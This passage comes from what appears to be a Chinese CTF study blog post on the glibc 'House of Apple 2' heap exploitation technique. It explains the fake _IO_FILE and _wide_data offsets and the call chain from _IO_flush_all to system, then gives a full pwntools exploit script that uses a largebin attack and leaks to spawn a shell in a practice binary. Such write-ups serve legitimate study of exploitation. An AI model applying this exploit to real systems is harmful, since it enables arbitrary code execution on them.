fake_io += p64(0) * 3  # from _freeres_list to __pad5
fake_io += p32(0xFFFFFFFF)  # _mode, usually -1
fake_io += b"\x00" * 19  # _unused2
fake_io = fake_io.ljust(0xD8 - 0x10, b'\x00')  # adjust to vtable
fake_io += p64(libc.sym['_IO_wfile_jumps'])  # fake vtable
fake_io += p64(wide_vtable_addr)
fake_io += p64(libc.sym['system'])

edit(2, fake_io)
edit(1, p64(0)*2 + p32(0xfbad1880)+b';sh;')

因为我们是从堆块的date段开始写的,但是flag段是在堆块头的位置,这个也好解决,这里我是通过堆块溢出来修改头,也可以伪造这个堆块的chain字段指向另一个,或者largebin attack的时候改写到date段

现在我们来解释一下上面的偏移,IO_wide_data_addr = (file_addr + 0xd8 + 8) - 0xe0首先是这里,这个数据是填在_wide_data段,也就是这里其实指向的是我们伪造的IO_wide_data结构体,而我们是想将其伪造在堆块里面,所以file_addr是很好理解的,然后这个0xd8+8其实指向的是我们的虚表,也就是vatable,这个位置就是相对于io结构体0xe0,刚好凑巧的是,我们的IO_wide_data的虚表指针,相对于IO_wide_data结构体也是0xe0的偏移,所以我们减去0xe0,这个时候我们的io结构体的虚表,也就是上面的fake vtable,同时也作为IO_wide_data的虚表指针

而wide_vtable_addr = (file_addr + 0xd8 + 8 + 8) - 0x68,这个其实是根据这一句wide_data->_wide_vtable->doallocate,我们最终调用是在doallocate,而这个函数其实是*(wide_vtable+0x68)的位置

偏移为104,也就是0x68,那我们其实希望这个位置就是这里的fake_io += p64(libc.sym['system']),所以我们把wide_vtable_addr地址写成IO_wide_data_add地址加8再减去0x68

我们把断点下在_IO_flush_all函数,进入调试看看,根据上面进入IO_wfile_overflow函数的条件,我们需要控制部分数据,最终在exit的时候,执行IO_flush_all刷新缓冲区,会调用到IO_wfile_overflow函数

然后s进入该函数,这个函数就是我们调用链的第一条

由于我们满足条件,会接着调用到IO_wdoallocbuf函数

而在这个函数里面,会调用到rax加0x68位置的函数,而这个rax就是上面我们伪造的wide_vtable

而这个函数我们放的是system,参数就是fp,也就是我们的flag段

到了这里就可以getshell了

最后附上完整的exp

from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
elf = ELF("./pwn")
libc = ELF("libc.so.6")
io = process(["/home/gets/pwn/study/heap/apple2/ld-linux-x86-64.so.2", "./pwn"],
            env={"LD_PRELOAD":"/home/gets/pwn/study/heap/apple2/libc.so.6"})

def dbg():
    gdb.attach(io)

def add(index, size):
    io.sendafter("choice:", "1")
    io.sendafter("index:", str(index))
    io.sendafter("size:", str(size))

def free(index):
    io.sendafter("choice:", "2")
    io.sendafter("index:", str(index))

def edit(index, content):
    io.sendafter("choice:", "3")
    io.sendafter("index:", str(index))
    io.sendafter("length:", str(len(content)))
    io.sendafter("content:", content)

def show(index):
    io.sendafter("choice:", "4")
    io.sendafter("index:", str(index))

add(0, 0x418)
add(1, 0x18)
add(2, 0x428)
add(3, 0x18)

free(2)
free(0)

edit(2, 'a')
show(2)
libc.address = u64(io.recvuntil(b'\x7F')[-6:].ljust(8, b'\x00')) - (libc.sym['main_arena'] + 96 + ord('a'))
info("libc base: " + hex(libc.address))

edit(2, '\x00')
show(0)
io.recv()
heap_base = u64(io.recv(6).ljust(8,b'\x00')) & ~0xFFF
info("heap base: " + hex(heap_base))

add(0, 0x418)
edit(2, p64(0) * 3 + p64(libc.sym['_IO_list_all'] - 0x20))
free(0)
add(0, 0x408)

file_addr = heap_base + 0x6d0
IO_wide_data_addr = (file_addr + 0xd8 + 8) - 0xe0
wide_vtable_addr = (file_addr + 0xd8 + 8 + 8) - 0x68
edit(2, p64(libc.sym['main_arena'] + 1104) * 2 + p64(file_addr) * 2)
add(2,0x428)

fake_io = b""
fake_io += p64(0)  # _IO_read_end
fake_io += p64(0)  # _IO_read_base
fake_io += p64(0)  # _IO_write_base
fake_io += p64(1)  # _IO_write_ptr
fake_io += p64(0)  # _IO_write_end
fake_io += p64(0)  # _IO_buf_base;
fake_io += p64(0)  # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_io += p64(0) * 4  # from _IO_save_base to _markers
fake_io += p64(0)  # the FILE chain ptr
fake_io += p32(2)  # _fileno for stderr is 2
fake_io += p32(0)  # _flags2, usually 0
fake_io += p64(0xFFFFFFFFFFFFFFFF)  # _old_offset, -1
fake_io += p16(0)  # _cur_column
fake_io += b"\x00"  # _vtable_offset
fake_io += b"\n"  # _shortbuf[1]
fake_io += p32(0)  # padding
fake_io += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0)  # _IO_stdfile_1_lock/+0xa0
fake_io += p64(0xFFFFFFFFFFFFFFFF)  # _offset, -1
fake_io += p64(0)  # _codecvt, usually 0
fake_io += p64(IO_wide_data_addr)  # _IO_wide_data_1
fake_io += p64(0) * 3  # from _freeres_list to __pad5
fake_io += p32(0xFFFFFFFF)  # _mode, usually -1
fake_io += b"\x00" * 19  # _unused2
fake_io = fake_io.ljust(0xD8 - 0x10, b'\x00')  # adjust to vtable
fake_io += p64(libc.sym['_IO_wfile_jumps'])  # fake vtable
fake_io += p64(wide_vtable_addr)
fake_io += p64(libc.sym['system'])

edit(2, fake_io)
edit(1, p64(0)*2 +b' ;sh;')
gdb.attach(io, "b _IO_flush_all\nc")
#gdb.attach(io, "b _IO_wdoallocbuf\nc")
io.sendafter("choice:", "5")
io.interactive()
0 条评论
某人
表情
可输入 255